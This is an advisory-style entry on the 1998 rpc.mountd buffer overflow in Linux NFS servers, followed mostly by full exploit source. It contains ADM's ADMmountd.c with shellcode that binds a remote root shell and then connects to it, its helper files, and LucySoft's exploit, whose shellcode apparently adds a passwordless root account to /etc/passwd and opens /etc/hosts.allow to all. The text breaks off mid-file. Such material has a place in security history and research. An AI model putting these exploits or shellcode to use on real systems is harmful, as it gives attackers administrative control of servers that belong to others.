COMMAND

    rpc.mountd

SYSTEMS AFFECTED

    Linux RedHat 5.x, Slackware 3.3, Caldera

PROBLEM

    NFS is a distributed file system in which clients make use of file
    systems  provided  by  servers.  There  is a vulnerability in some
    implementations  of  the  software  that  NFS  servers  use to log
    requests to use file  systems.  When a  client makes a request  to
    use  a  file  system  and  subsequently  makes  that  file  system
    available as a local resource,  the client is said to  "mount" the
    file system.   The vulnerability lies  in the software  on the NFS
    server that handles requests to mount file systems.  This software
    is usually called "mountd" or "rpc.mountd."  Intruders who exploit
    the vulnerability are  able to gain  administrative access to  the
    vulnerable NFS  file server.   That is,  they can  do anything the
    system administrator can do.  This vulnerability can be  exploited
    remotely and does  not require an  account on the  target machine.
    Exploit follows (first one from AMD and second by LuciSoft plus at
    the end there's a scanner for this vulnerability):

    -------------
    ADMmountd.c
    -------------

    /*
     *
     *
     * Linux rpc.mountd 2.2beta29 exploit
     *
     * Coded by plaguez, Antilove, Mikasoft at the ADM Party (7/98)
     *
     * Credits:
     *    - DiGiT for finding the vulnerability
     * Compile: rpcgen mount.x ; gcc exmnt.c
     */


    #include <stdio.h>
    #include <unistd.h>
    #include <stdlib.h>
    #include <signal.h>
    #include <time.h>
    #include <string.h>
    #include <ctype.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <arpa/nameser.h>
    #include <netdb.h>
    #include <getopt.h>
    #include "mount_clnt.c"
    #include "mount_xdr.c"
    #include "ADMgetip.c"

    #define NOP       0x90
    #define WAITPORT  10752
    #define STKLEN    200

    char buff[10000];

    struct target
      {
        char desc[80];
        int systype;
        unsigned long addr;
        int addalign;
      };

    struct target targets[] =
    {
      {"RedHat Linux 5.1 k 2.0.35 rpc.mountd",      0, 0x08052d28, 0},
      {"Slakware 3.3 k 2.0.33+Solar_Designer's patch rpc.mountd 2.2beta29",
                                                    0, 0x0805bbe0, 0},
    };

    char c0de[] =
     "\x33\xDB\x33\xC0\xB0\x1B\xCD\x80" /* alarm(0); */
     "\x33\xD2\x33\xc0\x8b\xDA\xb0\x06\xcd\x80\xfe\xc2\x75\xf4" /* close FDs */
      "\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x75\x62\xeb\x62" /* w/  fork() */
    //"\x31\xc0\xb0\x02\x90\x90\x85\xc0\x90\x90\xeb\x62" /* w/o fork() */
     "\x5e\x56\xac\x3c\xfd\x74\x06\xfe\xc0\x74\x0b" /* =\_ who wrote it? */
     "\xeb\xf5\xb0\x30\xfe\xc8\x88\x46\xff\xeb\xec" /* =/` hmm?  */
    "\x5e\xb0\x02\x89\x06\xfe\xc8\x89\x46\x04\xb0\x06\x89\x46\x08\xb0\x66\x31\xdb"
    "\xfe\xc3\x89\xf1\xcd\x80\x89\x06\xb0\x02\x66\x89\x46\x0c\xb0\x2a\x66\x89\x46"
    "\x0e\x8d\x46\x0c\x89\x46\x04\x31\xc0\x89\x46\x10\xb0\x10\x89\x46\x08\xb0"
    "\x66\xfe\xc3\xcd\x80\xb0\x01\x89\x46\x04\xb0\x66\xb3\x04\xcd\x80\xeb\x04"
    "\xeb\x4c\xeb\x52\x31\xc0\x89\x46\x04\x89\x46\x08\xb0\x66\xfe\xc3\xcd\x80"
    "\x88\xc3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xfe\xc1\xcd\x80\xb0\x3f\xfe\xc1"
    "\xcd\x80\xb8\x2e\x62\x69\x6e\x40\x89\x06\xb8\x2e\x73\x68\x21\x40\x89\x46"
    "\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e"
    "\x08\x8d\x56\x0c\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\x45\xff\xff"
    "\xff\xFF\xFD\xFF\x50\x72\x69\x76\x65\x74\x20\x41\x44\x4D\x63\x72\x65\x77";


    void
    handle_alarm (sn)
         int sn;
    {
      alarm (0);
      signal (SIGALRM, SIG_DFL);
      printf ("Unable to connect: Connection timed out\n");
      exit (0);
    }


    unsigned long
    host2ip (char *serv)
    {
      struct sockaddr_in sinn;
      struct hostent *hent;

      hent = gethostbyname (serv);
      if (hent == NULL)
        return 0;
      bzero ((char *) &sinn, sizeof (sinn));
      memcpy ((char *) &sinn.sin_addr, hent->h_addr, hent->h_length);
      return sinn.sin_addr.s_addr;
    }


    void
    addchar (char *str, char ch)
    {
      unsigned int len;

      len = strlen (str);
      str[len] = ch;
      str[len + 1] = 0;
    }


    int
    ConnectServer (char *host, int port)
    {
      int sockdesc;
      struct sockaddr_in sin;
      struct hostent *he;

      sin.sin_port = htons (port);
      sin.sin_family = AF_INET;

      he = gethostbyname (host);
      if (he)
        {
          memcpy ((caddr_t) & sin.sin_addr.s_addr, he->h_addr, he->h_length);
        }
      else
        {
          printf ("Error: gethostbyname(): Unable to resolve [%s]\n", host);
          exit (-1);
        }

      if ((sockdesc = socket (AF_INET, SOCK_STREAM, 0)) < 0)
        {
          perror ("Error: socket()");
          exit (-1);
        }
      if (connect (sockdesc, (struct sockaddr *) &sin, sizeof (sin)) < 0)
        {
          perror ("Error: connect()");
          exit (-1);
        }
      return sockdesc;
    }


    void
    MultiplexConnection (int sockdesc)
    {
      int ret;
      char sockbuf[2048];
      fd_set readfds;

      sprintf (sockbuf, "trap '' SIGALRM SIGTRAP\n\
    PATH=/usr/local/bin:/bin:/usr/bin:/sbin:/usr/sbin;export PATH\n\
    /usr/sbin/rpc.mountd </dev/null\n\
    /bin/uname -a;/usr/bin/id\n");
      write (sockdesc, sockbuf, strlen(sockbuf));

      while (1)
        {
          FD_ZERO (&readfds);
          FD_SET (0, &readfds);
          FD_SET (sockdesc, &readfds);
          select (255, &readfds, NULL, NULL, NULL);

          if (FD_ISSET (sockdesc, &readfds))
            {
              memset (sockbuf, 0, 2048);
              ret = read (sockdesc, sockbuf, 2048);
              if (ret <= 0)
                {
                  printf ("Connection closed by foreign host.\n");
                  exit (-1);
                }
              printf ("%s", sockbuf);
            }
          if (FD_ISSET (0, &readfds))
            {
              memset (sockbuf, 0, 2048);
              read (0, sockbuf, 2048);
              write (sockdesc, sockbuf, 2048);
            }
        }
    }


    int
    lookup_host (ra, hn, rp)
         struct sockaddr_in *ra;
         char *hn;
         unsigned short rp;
    {
      ra->sin_family = AF_INET;
      ra->sin_port = htons (rp);
      if ((ra->sin_addr.s_addr = inet_addr (hn)) == -1)
        {
          struct hostent *he;

          if ((he = gethostbyname (hn)) != (struct hostent *) NULL)
            {
              memcpy (&ra->sin_addr.s_addr, he->h_addr, 4);
              return 1;
            }
          else
            herror ("Unable to resolve hostname");
        }
      else
        return 1;
      return 0;
    }


    int
    m00unt (char *host, char *buf)
    {

      CLIENT *client;
      fhstatus *FH;
      dirpath DIR;
      char buffer[10000];
      int i;
      char c;

    /* ini the stuff     */
    /* mika is fuqn bad @ mace heheheh I OWN HIM %!@$!@$!@ :) */
      bzero (buffer, sizeof (buffer));
      DIR = buffer;

    /* create the socket */

      if ((client = clnt_create (host, MOUNTPROG, MOUNTVERS, "udp")) == NULL)
        {
          printf ("rpc.mountd not registred :>\n");
          exit (2);
        }

      strncpy (DIR, buf, sizeof (buffer));

      if ((mountproc_mnt_1 (&DIR, client)) == -1)
        {
          printf ("mountproc_mnt failed :<\n");
          exit (0);
        }

    }


    void
    attack_mountd (loc)
         char *loc;
    {
      int sockdesc;
      int status;

      switch (fork ())
        {
        case 0:
          m00unt (loc, buff);
          printf ("@#$%#!#$$\n");
          exit (1);
        case -1:
          printf ("fork error\n");
          exit (1);
        default:
          printf ("Attente connexion...\n");
          fflush (stdout);
          wait (&status);
        }

      sleep (5);
      sockdesc = ConnectServer (loc, WAITPORT);

      printf ("Shell found!\n");
      MultiplexConnection (sockdesc);

      close (sockdesc);

      exit (-1);

    }


    void
    usage (char *pname)
    {
      int compt;

      printf ("\nUsage:\t%s targethost [-t type] [-o offset] [-a align]\n", pname);
      printf ("\ttargethost may either be name or ip.\n");
      printf ("\ttype chooses from a list of predefined targets.\n");
      for (compt = 0; compt < sizeof (targets) / (sizeof (struct target));
    compt++)
        printf ("\t\t%i: %s\n", compt, targets[compt].desc);
      printf ("\toffset is the offset (not required if -t is used)\n");
      printf ("\talign is the alignment (not required if -t is used)\n\n");
    }


    int
    host2a (unsigned long ipz)
    {
      struct in_addr muf;
      muf.s_addr = ipz;
      return ((103 - (strlen (inet_ntoa (muf)))) % 4);
    }


    void
    main (argc, argv)
         int argc;
         char *argv[];
    {
      int i;
      struct sockaddr_in ra;
      struct in_addr blah;
      unsigned long muf;
      char *ptr;
      char *endbuff;
      char *target = NULL;
      unsigned long addr;
      unsigned char jmp;
      long *l_ptr;
      int offset = 0;
      int bsize = 1024;
      int align = -1;
      int targ = 0;
      char o;
      char *argv0 = strdup (argv[0]);

      while ((o = getopt (argc, argv, "a:o:t:h")) != -1)
        switch (o)
          {
          case 'h':
            usage (argv0);
            exit (1);
          case 'o':
            if (optarg)
              offset -= atoi (optarg);
            break;
          case 't':
            if (optarg)
              targ = atoi (optarg);
            break;
          case 'a':
            if (optarg)
              align = atoi(optarg);
            break;
          }

      argc -= optind;
      argv += optind;
      target = *argv;

      if (!target)
        {
          usage (argv0);
          exit (1);
        }
      memset (buff, '\x90', bsize);

      printf ("selected target (-t %d): %s.\n", targ, targets[targ].desc);
      addr = targets[targ].addr;

      printf ("shellcode lenght: %i\n", strlen(c0de));
      printf ("buffer size: %i\n", bsize);

      addr += offset;
      printf ("offset: %d\n", offset);
      printf ("address: 0x%lx\n", addr);

      getlocalip (&muf, host2ip (target));
      blah.s_addr = muf;
      printf ("local ip = %s\n", inet_ntoa (blah));
      if (align < 0)
        align = host2a (muf);
      printf ("align = %i\n", align);
      align += targets[targ].addalign;

      endbuff = buff + bsize;

      for (ptr = buff; ptr < (endbuff - strlen(c0de) - STKLEN); ptr++)
        *ptr = NOP;

      for (i = 0; i < strlen(c0de); i++)
        *(ptr++) = c0de[i];

      for (ptr += align; ptr < endbuff; ptr += 4)
        {
          ptr[0] = (addr & 0x000000ff);
          ptr[1] = (addr & 0x0000ff00) >> 8;
          ptr[2] = (addr & 0x00ff0000) >> 16;
          ptr[3] = (addr & 0xff000000) >> 24;
        }

      *endbuff = '\x0';

      attack_mountd (target);
    }

    /* today 9 Aug 1998 */

    ----------------
    ADMgetip.c
    ----------------

    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <sys/time.h>
    #include <unistd.h>
    #include "ip_icmp.h"

    #define ICMP_REPLY_TIMEOUT 15

    unsigned short
    in_cksum (addr, len)
         u_short *addr;
         int len;
    {
      register int nleft = len;
      register u_short *w = addr;
      register int sum = 0;
      u_short answer = 0;

      /*
       * Our algorithm is simple, using a 32 bit accumulator (sum), we add
       * sequential 16 bit words to it, and at the end, fold back all the
       * carry bits from the top 16 bits into the lower 16 bits.
       */
      while (nleft > 1)
        {
          sum += *w++;
          nleft -= 2;
        }

      /* mop up an odd byte, if necessary */
      if (nleft == 1)
        {
          *(u_char *) (&answer) = *(u_char *) w;
          sum += answer;
        }

      /* add back carry outs from top 16 bits to low 16 bits */
      sum = (sum >> 16) + (sum & 0xffff);   /* add hi 16 to low 16 */
      sum += (sum >> 16);           /* add carry */
      answer = ~sum;                /* truncate to 16 bits */
      return (answer);
    }


    int getlocalip(unsigned long* src,unsigned long dest)
    {
    char try = 0;
    struct sockaddr_in sin;
    int icmp_sock;
    int paket_len,sin_len;
    char paket[1024];
    short* chk;
    struct timeval tm,tm1,tm2;
    long sec,usec;
    float ms;
    fd_set fdset;
    struct icmphdr* icmp=(struct icmphdr*)paket;

     kkk:

      icmp_sock=socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);

      FD_ZERO(&fdset);
      FD_SET(icmp_sock,&fdset);
      tm.tv_sec=ICMP_REPLY_TIMEOUT;;
      tm.tv_usec=0;

      sin.sin_family=AF_INET;
      sin.sin_port=htons(0);
      sin.sin_addr.s_addr=dest;

      paket_len=8;

      icmp->type=8;
      icmp->code=0;
      icmp->checksum=0;
      icmp->un.echo.id=59;
      icmp->un.echo.sequence=0;
      icmp->checksum=in_cksum(icmp,paket_len);

      sin_len=sizeof(sin);
      sendto(icmp_sock,&paket,paket_len,0,(struct sockaddr *)&sin,sin_len);

      gettimeofday(&tm1,NULL);
      if (select(icmp_sock+1,&fdset,NULL,NULL,&tm)==1) {
        recvfrom(icmp_sock,&paket,sizeof(paket),0,(struct sockaddr
    *)&sin,&sin_len);
        gettimeofday(&tm2,NULL);
        sec=tm2.tv_sec-tm1.tv_sec;
        usec=tm2.tv_usec-tm1.tv_usec;
        ms=(sec*1000)+((float)usec/1000);
        printf("ping: %9.2fms\n",ms);
      }
      else {
        printf("ping timeout\n");
        try ++;
        if ( try > 2 )return(-1);
        close (icmp_sock);
        goto kkk;
      }

      *src=sin.sin_addr.s_addr;
      return 0;
    }

    ---------------
    ip_icmp.h
    ---------------
    struct icmphdr
    {
      u_int8_t type;                /* message type */
      u_int8_t code;                /* type sub-code */
      u_int16_t checksum;
      union
      {
        struct
        {
          u_int16_t id;
          u_int16_t sequence;
        } echo;                     /* echo datagram */
        u_int32_t   gateway;        /* gateway address */
        struct
        {
          u_int16_t __unused;
          u_int16_t mtu;
        } frag;                     /* path mtu discovery */
      } un;
    };

    #define ICMP_ECHOREPLY          0       /* Echo Reply                   */
    #define ICMP_DEST_UNREACH       3       /* Destination Unreachable      */
    #define ICMP_SOURCE_QUENCH      4       /* Source Quench                */
    #define ICMP_REDIRECT           5       /* Redirect (change route)      */
    #define ICMP_ECHO               8       /* Echo Request                 */
    #define ICMP_TIME_EXCEEDED      11      /* Time Exceeded                */
    #define ICMP_PARAMETERPROB      12      /* Parameter Problem            */
    #define ICMP_TIMESTAMP          13      /* Timestamp Request            */
    #define ICMP_TIMESTAMPREPLY     14      /* Timestamp Reply              */
    #define ICMP_INFO_REQUEST       15      /* Information Request          */
    #define ICMP_INFO_REPLY         16      /* Information Reply            */
    #define ICMP_ADDRESS            17      /* Address Mask Request         */
    #define ICMP_ADDRESSREPLY       18      /* Address Mask Reply           */
    #define NR_ICMP_TYPES           18


    /* Codes for UNREACH. */
    #define ICMP_NET_UNREACH        0       /* Network Unreachable          */
    #define ICMP_HOST_UNREACH       1       /* Host Unreachable             */
    #define ICMP_PROT_UNREACH       2       /* Protocol Unreachable         */
    #define ICMP_PORT_UNREACH       3       /* Port Unreachable             */
    #define ICMP_FRAG_NEEDED        4       /* Fragmentation Needed/DF set  */
    #define ICMP_SR_FAILED          5       /* Source Route failed          */
    #define ICMP_NET_UNKNOWN        6
    #define ICMP_HOST_UNKNOWN       7
    #define ICMP_HOST_ISOLATED      8
    #define ICMP_NET_ANO            9
    #define ICMP_HOST_ANO           10
    #define ICMP_NET_UNR_TOS        11
    #define ICMP_HOST_UNR_TOS       12
    #define ICMP_PKT_FILTERED       13      /* Packet filtered */
    #define ICMP_PREC_VIOLATION     14      /* Precedence violation */
    #define ICMP_PREC_CUTOFF        15      /* Precedence cut off */
    #define NR_ICMP_UNREACH         15      /* instead of hardcoding immediate value */

    /* Codes for REDIRECT. */
    #define ICMP_REDIR_NET          0       /* Redirect Net                 */
    #define ICMP_REDIR_HOST         1       /* Redirect Host                */
    #define ICMP_REDIR_NETTOS       2       /* Redirect Net for TOS         */
    #define ICMP_REDIR_HOSTTOS      3       /* Redirect Host for TOS        */

    /* Codes for TIME_EXCEEDED. */
    #define ICMP_EXC_TTL            0       /* TTL count exceeded           */
    #define ICMP_EXC_FRAGTIME       1       /* Fragment Reass time exceeded */

    ------------
    mount.x
    ------------

    /* @(#)mount.x  2.1 88/08/01 4.0 RPCSRC */
    /* @(#)mount.x 1.2 87/09/18 Copyr 1987 Sun Micro */

    /*
     * Sun RPC is a product of Sun Microsystems, Inc. and is provided for
     * unrestricted use provided that this legend is included on all tape
     * media and as a part of the software program in whole or part.  Users
     * may copy or modify Sun RPC without charge, but are not authorized
     * to license or distribute it to anyone else except as part of a product or
     * program developed by the user.
     *
     * SUN RPC IS PROVIDED AS IS WITH NO WARRANTIES OF ANY KIND INCLUDING THE
     * WARRANTIES OF DESIGN, MERCHANTIBILITY AND FITNESS FOR A PARTICULAR
     * PURPOSE, OR ARISING FROM A COURSE OF DEALING, USAGE OR TRADE PRACTICE.
     *
     * Sun RPC is provided with no support and without any obligation on the
     * part of Sun Microsystems, Inc. to assist in its use, correction,
     * modification or enhancement.
     *
     * SUN MICROSYSTEMS, INC. SHALL HAVE NO LIABILITY WITH RESPECT TO THE
     * INFRINGEMENT OF COPYRIGHTS, TRADE SECRETS OR ANY PATENTS BY SUN RPC
     * OR ANY PART THEREOF.
     *
     * In no event will Sun Microsystems, Inc. be liable for any lost revenue
     * or profits or other special, indirect and consequential damages, even if
     * Sun has been advised of the possibility of such damages.
     *
     * Sun Microsystems, Inc.
     * 2550 Garcia Avenue
     * Mountain View, California  94043
     */

    /*
     * Protocol description for the mount program
     */


    const MNTPATHLEN = 1024;        /* maximum bytes in a pathname argument */
    const MNTNAMLEN = 255;          /* maximum bytes in a name argument */
    const FHSIZE = 32;              /* size in bytes of a file handle */

    /*
     * The fhandle is the file handle that the server passes to the client.
     * All file operations are done using the file handles to refer to a file
     * or a directory. The file handle can contain whatever information the
     * server needs to distinguish an individual file.
     */
    typedef opaque fhandle[FHSIZE];

    /*
     * If a status of zero is returned, the call completed successfully, and
     * a file handle for the directory follows. A non-zero status indicates
     * some sort of error. The status corresponds with UNIX error numbers.
     */
    union fhstatus switch (unsigned fhs_status) {
    case 0:
            fhandle fhs_fhandle;
    default:
            void;
    };

    /*
     * The type dirpath is the pathname of a directory
     */
    typedef string dirpath<MNTPATHLEN>;

    /*
     * The type name is used for arbitrary names (hostnames, groupnames)
     */
    typedef string name<MNTNAMLEN>;

    /*
     * A list of who has what mounted
     */
    typedef struct mountbody *mountlist;
    struct mountbody {
            name ml_hostname;
            dirpath ml_directory;
            mountlist ml_next;
    };

    /*
     * A list of netgroups
     */
    typedef struct groupnode *groups;
    struct groupnode {
            name gr_name;
            groups gr_next;
    };

    /*
     * A list of what is exported and to whom
     */
    typedef struct exportnode *exports;
    struct exportnode {
            dirpath ex_dir;
            groups ex_groups;
            exports ex_next;
    };

    program MOUNTPROG {
            /*
             * Version one of the mount protocol communicates with version two
             * of the NFS protocol. The only connecting point is the fhandle
             * structure, which is the same for both protocols.
             */
            version MOUNTVERS {
                    /*
                     * Does no work. It is made available in all RPC services
                     * to allow server reponse testing and timing
                     */
                    void
                    MOUNTPROC_NULL(void) = 0;

                    /*
                     * If fhs_status is 0, then fhs_fhandle contains the
                     * file handle for the directory. This file handle may
                     * be used in the NFS protocol. This procedure also adds
                     * a new entry to the mount list for this client mounting
                     * the directory.
                     * Unix authentication required.
                     */
                    fhstatus
                    MOUNTPROC_MNT(dirpath) = 1;

                    /*
                     * Returns the list of remotely mounted filesystems. The
                     * mountlist contains one entry for each hostname and
                     * directory pair.
                     */
                    mountlist
                    MOUNTPROC_DUMP(void) = 2;

                    /*
                     * Removes the mount list entry for the directory
                     * Unix authentication required.
                     */
                    void
                    MOUNTPROC_UMNT(dirpath) = 3;

                    /*
                     * Removes all of the mount list entries for this client
                     * Unix authentication required.
                     */
                    void
                    MOUNTPROC_UMNTALL(void) = 4;

                    /*
                     * Returns a list of all the exported filesystems, and which
                     * machines are allowed to import it.
                     */
                    exports
                    MOUNTPROC_EXPORT(void)  = 5;

                    /*
                     * Identical to MOUNTPROC_EXPORT above
                     */
                    exports
                    MOUNTPROC_EXPORTALL(void) = 6;
            } = 1;
    } = 100005;

    ------------------------------------------------------------------

    /*
        rpc.mountd [remote] exploit by LucySoft [ luci@transart.ro ]

        [September 20, 1998]
        [version 0.4]

        tested on Red Hat Linux 5.1 (Manhattan)
        running nfs-server-2.2beta29

        NOTE: if the remote host has /etc/exporfs non-empty,
        [shwomount -e remote_host]
        you must define __EXPORTS 2 and recompile

        I've tested on only two RH 5.1 systems, the offset was about 1000.

    */

    #define __EXPORTFS      1


    #include <unistd.h>
    #include <stdio.h>
    #include <string.h>
    #include <errno.h>
    #include <netdb.h>
    #include <rpc/rpc.h>
    #include <rpc/pmap_prot.h>
    #include <rpc/pmap_clnt.h>
    #include <sys/socket.h>
    #include <sys/time.h>
    #include <sys/utsname.h>
    #include <sys/stat.h>
    #include <arpa/inet.h>
    #include <linux/nfs.h>

    #include "nfsmount.h"



    static unsigned long            __offset = 1160;

    /*
       check out code.c if you want to know what this means
    */

    static char code[] =
    {
        0xeb, 0x56, 0x5e, 0x56,
        0x56, 0x56, 0x31, 0xd2,
        0x88, 0x56, 0x0b, 0x88,
        0x56, 0x1e, 0x88, 0x56,

        0x27, 0x88, 0x56, 0x38,
        0xb2, 0x0a, 0x88, 0x56,
        0x1d, 0x88, 0x56, 0x26,
        0x5b, 0x31, 0xc9, 0x41,

        0x41, 0x31, 0xc0, 0xb0,
        0x05, 0xcd, 0x80, 0x50,
        0x89, 0xc3, 0x31, 0xc9,
        0x31, 0xd2, 0xb2, 0x02,

        0x31, 0xc0, 0xb0, 0x13,
        0xcd, 0x80, 0x58, 0x89,
        0xc2, 0x89, 0xc3, 0x59,
        0x52, 0x31, 0xd2, 0xb2,

        0x0c, 0x01, 0xd1, 0xb2,
        0x13, 0x31, 0xc0, 0xb0,
        0x04, 0x31, 0xd2, 0xb2,
        0x12, 0xcd, 0x80, 0x5b,

        0x31, 0xc0, 0xb0, 0x06,
        0xcd, 0x80, 0xeb, 0x3f,
        0xe8, 0xa5, 0xff, 0xff,
        0xff, 0x2f, 0x65, 0x74,

        0x63, 0x2f, 0x70, 0x61,
        0x73, 0x73, 0x77, 0x64,
        0x78, 0x7a, 0x3a, 0x3a,
        0x30, 0x3a, 0x30, 0x3a,

        0x3a, 0x2f, 0x3a, 0x2f,
        0x62, 0x69, 0x6e, 0x2f,
        0x73, 0x68, 0x78, 0x78,
        0x41, 0x4c, 0x4c, 0x3a,

        0x41, 0x4c, 0x4c, 0x78,
        0x78, 0x2f, 0x65, 0x74,
        0x63, 0x2f, 0x68, 0x6f,
        0x73, 0x74, 0x73, 0x2e,

        0x61, 0x6c, 0x6c, 0x6f,
        0x77, 0x78, 0xff, 0x5b,
        0x53, 0x31, 0xc9, 0xb1,
        0x28, 0x01, 0xcb, 0xb1,

        0x02, 0x31, 0xc0, 0xb0,
        0x05, 0xcd, 0x80, 0x50,
        0x89, 0xc3, 0x31, 0xc9,
        0x31, 0xd2, 0xb2, 0x02,

        0x31, 0xc0, 0xb0, 0x13,
        0xcd, 0x80, 0x5b, 0x59,
        0x53, 0x31, 0xd2, 0xb2,
        0x1f, 0x01, 0xd1, 0xb2,

        0x08, 0x31, 0xc0, 0xb0,
        0x04, 0xcd, 0x80, 0x5b,
        0x31, 0xc0, 0xb0, 0x06,
        0xcd, 0x80, 0x31, 0xc0,
        0x40, 0xcd, 0x80
    };



    unsigned long get_esp()
    {
       __asm__("movl %esp,%eax");
    }


    void _fill_hostile_buffer(char *ptr)
    {
        char        *buff;
        unsigned    retaddr = get_esp() + __offset;
        int         length;

        memset(ptr, 0x90, 1024);

        length = strlen(code);

        memcpy(ptr + 1024 - length - 40 - __EXPORTFS, code, length);
        buff = ptr + 1024 - 40 - __EXPORTFS;

        while (buff < (ptr + 1024))
        {
            *(unsigned*)buff = (unsigned)retaddr;
            buff += sizeof(unsigned);
        }
        ptr[1023] = '\0';

        fprintf(stderr, "code length = %d, used retaddr is %x\n", length, retaddr);

    }

    /*
        ripped off from nfsmount.c [ mount-2.7l.rpm - RH 5.1 ]
    */


    int _nfsmount(char* hostname, char *dirname)
    {
            CLIENT  *mclient;
            int     mountprog, mountvers;
            int     nfsprog, nfsvers;
            int     mountport = 0;
            int     clnt_stat;
            int     msock, fsock;

            struct  hostent *hp;
            struct  sockaddr_in server_addr;
            struct  fhstatus status;
            struct  timeval total_timeout, retry_timeout;



            if (!(hp = gethostbyname(hostname)))
            {
                fprintf(stderr, "mx: can't get address for %s\n", hostname);
                return(-1);
            }


            server_addr.sin_family = AF_INET;
            memcpy(&server_addr.sin_addr, hp->h_addr, hp->h_length);

            mountprog = MOUNTPROG;
            mountvers = MOUNTVERS;

            nfsprog = NFS_PROGRAM;
            nfsvers = NFS_VERSION;

            total_timeout.tv_usec = 0;
            total_timeout.tv_sec = 20;

            retry_timeout.tv_usec = 0;
            retry_timeout.tv_sec = 3;

            server_addr.sin_port = htons(mountport);
            msock = RPC_ANYSOCK;

            fprintf(stderr, "ok, attacking target %s\n", hp->h_name);

            mclient = clntudp_create(&server_addr,
                mountprog, mountvers,
                retry_timeout, &msock);

            if (mclient)
            {
                mclient->cl_auth = authunix_create_default();
                clnt_stat = clnt_call(mclient, MOUNTPROC_MNT,
                    (xdrproc_t) xdr_dirpath, (caddr_t) &dirname,
                    (xdrproc_t) xdr_fhstatus, (caddr_t) &status,
                    total_timeout);

                if (clnt_stat != RPC_SUCCESS)
                {
                    /*

                    auth_destroy(mclient->cl_auth);
                    clnt_destroy(mclient);
                    close(msock);

                    clnt_perror(mclient, "mx clnt_call");
                    */
                    return(msock);
                }
                fprintf(stderr, "successful clnt_call\n");
                return(msock);
            }
            else
            {
                clnt_pcreateerror("mx clntudp_create");
                return(-1);
            }


            auth_destroy(mclient->cl_auth);
            clnt_destroy(mclient);
            close(msock);
            return (-1);
    }


    int main(int argc, char *argv[])
    {
        int         k, sock;
        char        hostilebuffer[4096];


        if (argc < 2)
        {
            fprintf(stderr, "usage : %s target_host [offset]\n", argv[0]);
            return(-1);
        }

        if (argc == 3)
        {
            __offset = strtol(argv[2], (char**)NULL, 10);
            fprintf(stderr, "using offset %d\n", __offset);
        }

        _fill_hostile_buffer(hostilebuffer);
        if (_nfsmount(argv[1], hostilebuffer) > 0)
        {
            fprintf(stderr, "seems that security on host %s was defeated\n",
                argv[1]);
        }

        return(0);
    }

    -------------------------------------------------------------------------
    CUT_HERE next file is nfsmount.x
    -------------------------------------------------------------------------

    %/*
    % * Sun RPC is a product of Sun Microsystems, Inc. and is provided for
    % * unrestricted use provided that this legend is included on all tape
    % * media and as a part of the software program in whole or part.  Users
    % * may copy or modify Sun RPC without charge, but are not authorized
    % * to license or distribute it to anyone else except as part of a product or
    % * program developed by the user or with the express written consent of
    % * Sun Microsystems, Inc.
    % *
    % * SUN RPC IS PROVIDED AS IS WITH NO WARRANTIES OF ANY KIND INCLUDING THE
    % * WARRANTIES OF DESIGN, MERCHANTIBILITY AND FITNESS FOR A PARTICULAR
    % * PURPOSE, OR ARISING FROM A COURSE OF DEALING, USAGE OR TRADE PRACTICE.
    % *
    % * Sun RPC is provided with no support and without any obligation on the
    % * part of Sun Microsystems, Inc. to assist in its use, correction,
    % * modification or enhancement.
    % *
    % * SUN MICROSYSTEMS, INC. SHALL HAVE NO LIABILITY WITH RESPECT TO THE
    % * INFRINGEMENT OF COPYRIGHTS, TRADE SECRETS OR ANY PATENTS BY SUN RPC
    % * OR ANY PART THEREOF.
    % *
    % * In no event will Sun Microsystems, Inc. be liable for any lost revenue
    % * or profits or other special, indirect and consequential damages, even if
    % * Sun has been advised of the possibility of such damages.
    % *
    % * Sun Microsystems, Inc.
    % * 2550 Garcia Avenue
    % * Mountain View, California  94043
    % */

    %/*
    % * Copyright (c) 1985, 1990 by Sun Microsystems, Inc.
    % */
    %
    %/* from @(#)mount.x    1.3 91/03/11 TIRPC 1.0 */

    /*
     * Protocol description for the mount program
     */

    #ifdef RPC_HDR
    %#ifndef _rpcsvc_mount_h
    %#define _rpcsvc_mount_h
    #endif

    #ifdef RPC_CLNT
    %#include <string.h>            /* for memset() */
    #endif

    const MNTPATHLEN = 1024;        /* maximum bytes in a pathname argument */
    const MNTNAMLEN = 255;          /* maximum bytes in a name argument */
    const FHSIZE = 32;              /* size in bytes of a file handle */

    /*
     * The fhandle is the file handle that the server passes to the client.
     * All file operations are done using the file handles to refer to a file
     * or a directory. The file handle can contain whatever information the
     * server needs to distinguish an individual file.
     */
    typedef opaque fhandle[FHSIZE];

    /*
     * If a status of zero is returned, the call completed successfully, and
     * a file handle for the directory follows. A non-zero status indicates
     * some sort of error. The status corresponds with UNIX error numbers.
     */
    union fhstatus switch (unsigned fhs_status) {
    case 0:
            fhandle fhs_fhandle;
    default:
            void;
    };

    /*
     * The type dirpath is the pathname of a directory
     */
    typedef string dirpath<MNTPATHLEN>;

    /*
     * The type name is used for arbitrary names (hostnames, groupnames)
     */
    typedef string name<MNTNAMLEN>;

    /*
     * A list of who has what mounted
     */
    typedef struct mountbody *mountlist;
    struct mountbody {
            name ml_hostname;
            dirpath ml_directory;
            mountlist ml_next;
    };

    /*
     * A list of netgroups
     */
    typedef struct groupnode *groups;
    struct groupnode {
            name gr_name;
            groups gr_next;
    };

    /*
     * A list of what is exported and to whom
     */
    typedef struct exportnode *exports;
    struct exportnode {
            dirpath ex_dir;
            groups ex_groups;
            exports ex_next;
    };

    /*
     * POSIX pathconf information
     */
    struct ppathcnf {
            int     pc_link_max;    /* max links allowed */
            short   pc_max_canon;   /* max line len for a tty */
            short   pc_max_input;   /* input a tty can eat all at once */
            short   pc_name_max;    /* max file name length (dir entry) */
            short   pc_path_max;    /* max path name length (/x/y/x/.. ) */
            short   pc_pipe_buf;    /* size of a pipe (bytes) */
            u_char  pc_vdisable;    /* safe char to turn off c_cc[i] */
            char    pc_xxx;         /* alignment padding; cc_t == char */
            short   pc_mask[2];     /* validity and boolean bits */
    };

    program MOUNTPROG {
            /*
             * Version one of the mount protocol communicates with version two
             * of the NFS protocol. The only connecting point is the fhandle
             * structure, which is the same for both protocols.
             */
            version MOUNTVERS {
                    /*
                     * Does no work. It is made available in all RPC services
